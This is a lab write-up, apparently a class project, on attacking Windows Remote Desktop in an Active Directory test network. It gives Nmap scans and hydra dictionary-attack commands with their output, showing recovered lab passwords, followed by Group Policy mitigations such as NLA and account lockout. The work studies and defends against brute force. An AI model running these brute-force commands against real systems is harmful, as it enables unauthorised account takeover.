Jumpnow Technologies

home

Attacking RDP in a Windows AD Environment

14 Apr 2022

Overview

Explore attacks on Windows Remote Desktop as it relates to Active Directory.

Specific tasks

(This is a class project)

Network Setup

I am running this lab in a Virtual LAN (virtualbox) with 4 machines.

The AD domain is called pansenti.org

There is an custom OU named Headquarters.

In the Headquarters OU are the following

The RDP Users group belongs to the BUILTIN/Remote Desktop Users group

Both miles and peter are in the RDP Users group.

Screenshot - Pansenti users and computers

Workstation Setup

I enabled RDP using AD Group Policy.

The GPO is called Enable Remote Desktop

There are 4 rules in the policy

Open tcp port 3389 inbound for the firewall

Screenshot - Allow inbound 3389 GPO Rule

Computer Configuration
    Policies
        Windows Settings
            Security Settings
                Windows Firewall with Advanced Security
                    Inbound Rules

Enable the RDP service

Screenshot - Enable RDP GPO Rule

Computer Configuration
    Policies
        Administrative Templates
            Windows Components
                Remote Desktop Services
                    Remote Desktop Session Host
                        Connections
                            Allow users to connect remotely by using Remote Desktop Services
                                Enabled

Disable Network Level Authentication Requirement for RDP

Screenshot - Disable NLA GPO Rule

Computer Configuration
    Policies
        Administrative Templates
            Windows Components
                Remote Desktop Services
                    Remote Desktop Session Host
                        Security
                            Require user authentication for remote connections by using Network Level Authentication
                            	Disabled

Apply the policy to Local Computers using Restricted Groups

Screenshot - Restricted Groups GPO Rule

Computer Configuration
	Policies
		Windows Settings
			Security Settings
				Restricted Groups
					Group: BUILTIN\Remote Desktop Users
						Members: PANSENTI\RDP Users

With the above configuration we should first verify that things work as expected.

First a check that the RDP service is available on both workstations.

We can use Nmap for this

┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn 172.16.0.101,102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 05:26 EDT
Nmap scan report for 172.16.0.101
Host is up (0.00091s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 172.16.0.102
Host is up (0.0012s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 2 IP addresses (2 hosts up) scanned in 6.92 seconds

Note that there is a listener on port 3389/tcp on both machines.

Nmap can give us a little more information about the RDP service using standard script plugins

┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn -sV -p3389 --script rdp-* 172.16.0.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 13:56 EDT
Nmap scan report for 172.16.0.101
Host is up (0.00047s latency).

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-enum-encryption: 
|   Security layer
|     CredSSP (NLA): SUCCESS
|     CredSSP with Early User Auth: SUCCESS
|     RDSTLS: SUCCESS
|     SSL: SUCCESS
|_  RDP Protocol Version: Unknown
| rdp-ntlm-info: 
|   Target_Name: PANSENTI
|   NetBIOS_Domain_Name: PANSENTI
|   NetBIOS_Computer_Name: WS1
|   DNS_Domain_Name: pansenti.org
|   DNS_Computer_Name: ws1.pansenti.org
|   DNS_Tree_Name: pansenti.org
|   Product_Version: 10.0.19041
|_  System_Time: 2022-05-05T17:57:00+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.75 seconds

This gives us the domain name (pansenti.org) in the case that we didn’t know beforehand.

Testing the setup

Kali comes with rdesktop a Linux remote desktop client.

Using it we can verify the RDP is working

Video: Example of rdesktop after initial setup

If you do not want to or cannot run the video…

Here is the command for a ws1 connection with user peter

┌──(scott㉿kali)-[~/Desktop]
└─$ rdesktop -d pansenti.org -u peter -p - 172.16.0.101
Password: ***
...
< window session started >
...
disconnect: Logout initiated by user.

And here is the command for the ws2 connection with user miles

┌──(scott㉿kali)-[~/Desktop]
└─$ rdesktop -d pansenti.org -u miles -p - 172.16.0.102
Password: ***
...
< window session started >S
...
disconnect: Logout initiated by user.

There is also the native Windows RDP client under

Start / Windows Accessories / Remote Desktop Connection

This is the probably the client most will use.

Dictionary Attack Demonstration

Next we want to demonstrate an attack on the RDP service and see if we can discover credentials with brute force.

There are a couple of standard tools in Kali to perform password attacks on remote services

I will be using hydra in the examples below.

Network attacks are inherently rate limited by the medium and the fact that we are relying on the response speed of the remote service.

We also need to be careful that we don’t overwhelm the service and bring it down accidently. We are not looking for a DoS.

Compared to hash cracking attacks on passwords, network attacks are very, very slow.

So slow that exhaustive brute force attacks, trying every possible password are not feasible.

Instead we will be doing a dictionary attack, using a predefined list of commonly used passwords.

Kali comes with a number of such common password lists.

For these tests I am using this one from metasploit which comes with Kali.

/usr/share/wordlists/metasploit/common_roots.txt

It contains 4724 commonly found root/Administrator passwords.

Note: I am using a slightly modified version of common_roots.txt copied to the Desktop. The original file has an empty line representing a blank password, but hydra has some issues with this. So the modified file has the one blank line removed.

In addition to a list of passwords we also need to provide the hydra with a list of users.

How we get the user list is a problem of a different sort that I will ignore here.

To speed things along, I am going to provide hydra a list of just the users I know exist

┌──(scott㉿kali)-[~/Desktop]
└─$ cat users.txt
Administrator
peter
miles

Because RDP gets flaky if it has to process too many simultaneous connection attempts, hydra will automatically restrict itself to 4 threads when attacking RDP. This means no more than 4 attempts at a time. I am explicitly providing the -t4 switch to avoid the nag warning from hydra.

Here is a hydra run against the ws1 workstation

Video: The hydra run successfully discovering passwords

┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -L users.txt -P common_roots.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-07 16:00:33
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14172 login tries (l:3/p:4724), ~3543 tries per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[3389][rdp] host: 172.16.0.101   login: Administrator   password: P@ssw0rd
[ERROR] freerdp: The connection failed to establish.
[STATUS] 4901.00 tries/min, 4901 tries in 00:01h, 9271 to do in 00:02h, 4 active
[3389][rdp] host: 172.16.0.101   login: peter   password: Qwerty123
[ERROR] freerdp: The connection failed to establish.
[STATUS] 4869.50 tries/min, 9739 tries in 00:02h, 4433 to do in 00:01h, 4 active
[3389][rdp] host: 172.16.0.101   login: miles   password: P@ssw0rd
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-07 16:03:03

The attack took about 2.5 minutes and found the passwords for the three users that have accounts enabled.

Of course they were not very good passwords, but still it proves that the methodology works.

Mitigating Attacks on RDP

There are a number of approaches to mitigating brute force attacks like the above.

We will take a look at the first three and how to implement them using Group Policy.

Disabling RDP

This is obviously the most secure approach and we can enforce this with Group Policy

Screenshot - Disable RDP GPO Rule

Computer Configuration
    Policies
        Administrative Templates
            Windows Components
                Remote Desktop Services
                    Remote Desktop Session Host
                        Connections
                            Allow users to connect remotely by using Remote Desktop Services
                                Disabled

We wouldn’t need the firewall rule opening tcp 3389 either, but even without removing that firewall rule we see the service is no longer listening

┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn 172.16.0.101,102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 06:16 EDT
Nmap scan report for 172.16.0.101
Host is up (0.00068s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE
135/tcp open  msrpc
445/tcp open  microsoft-ds

Nmap scan report for 172.16.0.102
Host is up (0.00071s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE
135/tcp open  msrpc
445/tcp open  microsoft-ds

Nmap done: 2 IP addresses (2 hosts up) scanned in 12.14 seconds

What’s nice about disabling RDP via Group Policy is that users cannot reenable it locally.

Here is a screenshot from ws2 user peter trying to enable RDP

Screenshot - Cannot enable RDP on Workstation

Enable NLA

Network Level Authentication (NLA) is a feature of RDP that requires the connecting user to authenticate themselves before a session is established with the server.”

In our simple network, this means a user must have already logged into a machine with valid credentials before using the RDP client to attach to another machine.

The Group Policy control for this is here

Screenshot - Enable NLA GPO Rule

Computer Configuration
    Policies
        Administrative Templates
            Windows Components
                Remote Desktop Services
                    Remote Desktop Session Host
                        Security
                            Require user authentication for remote connections by using Network Level Authentication
                            	Enabled

Note: This is the default. I explicitly disabled it initially.

With this policy enabled, the RDP service is listening

┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn 172.16.0.101,102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 09:11 EDT
Nmap scan report for 172.16.0.101
Host is up (0.0017s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 172.16.0.102
Host is up (0.0016s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 2 IP addresses (2 hosts up) scanned in 10.29 seconds

And very interestingly hydra password attacks still work

(Using an abbreviated password list to speed things)

┌──(scott㉿kali)-[~/Desktop]
└─$ cat passwords.txt
P@ssw0rd
Qwerty123

┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -L users.txt -P passwords.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-05 10:04:48
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:4/p:2), ~2 tries per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[3389][rdp] host: 172.16.0.101   login: Administrator   password: P@ssw0rd
[3389][rdp] host: 172.16.0.101   login: peter   password: Qwerty123
[3389][rdp] host: 172.16.0.101   login: miles   password: P@ssw0rd
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-05 10:04:50

But actual rdesktop login attempts from Kali (a non-domain machine) now fail

Screenshot - Kali rdesktop fail with NLA enabled

┌──(scott㉿kali)-[~/Desktop]
└─$ rdesktop -d pansenti.org -u miles -p - 172.16.0.101
Password: ***
...
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).

This is a nice discovery to tuck away.

Enabling NLA does NOT stop attackers from learning passwords.

Set an Account Lockout Policy

Another way to stop brute-force attacks is to rate-limit them with account lockouts.

The idea is that after X failed attempts we lock the account to prevent further attempts.

This does open up the threat of Denial-of-Service, but we can somewhat mitigate that by providing an automatic reset after some time.

Even if the lockout time is only 5 minutes, the delay will be enough to seriously slow down brute force attacks.

So here is the Group Policy, this time a modification of the Default Domain Policy because I could not get it to work using the custom Group Policy. This is a TODO issue.

Screenshot - Account Lockout Policy

Computer Configuration
    Policies
        Windows Settings
            Security Settings
                Account Policies/Account Lockout Policy
                	Policy
                		Account lockout duration: 5 minutes
                		Account lockout threshold: 3 invalid logon attempts
                		Reset account lockout counter after: 5 minutes

With this policy in place, we thwart hydra

Here I am telling hydra to only test the miles account

┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -l miles -P common_roots.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-05 13:29:21
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4724 login tries (l:1/p:4724), ~1181 tries per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-05 13:29:24

And if we check the user account on the domain server we see it is locked.

Screenshot - Locked miles account

But after waiting at least 5 minutes, the account automatically unlocks again.

Here I will run hydra providing the correct password so it only needs one try.

┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -l miles -p P@ssw0rd
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-05 13:36:03
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[3389][rdp] host: 172.16.0.101   login: miles   password: P@ssw0rd
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-05 13:36:04

The number of failed attempts and lockout duration will likely need customization for each domain.

Summary

AD Group Policy provides a convenient way to configure or disable the Remote Desktop Service on Windows networks.

Remote desktop is vulnerable to brute-force attacks to gain access or just discover passwords.

There are several mitigation techniques available using Group Policy.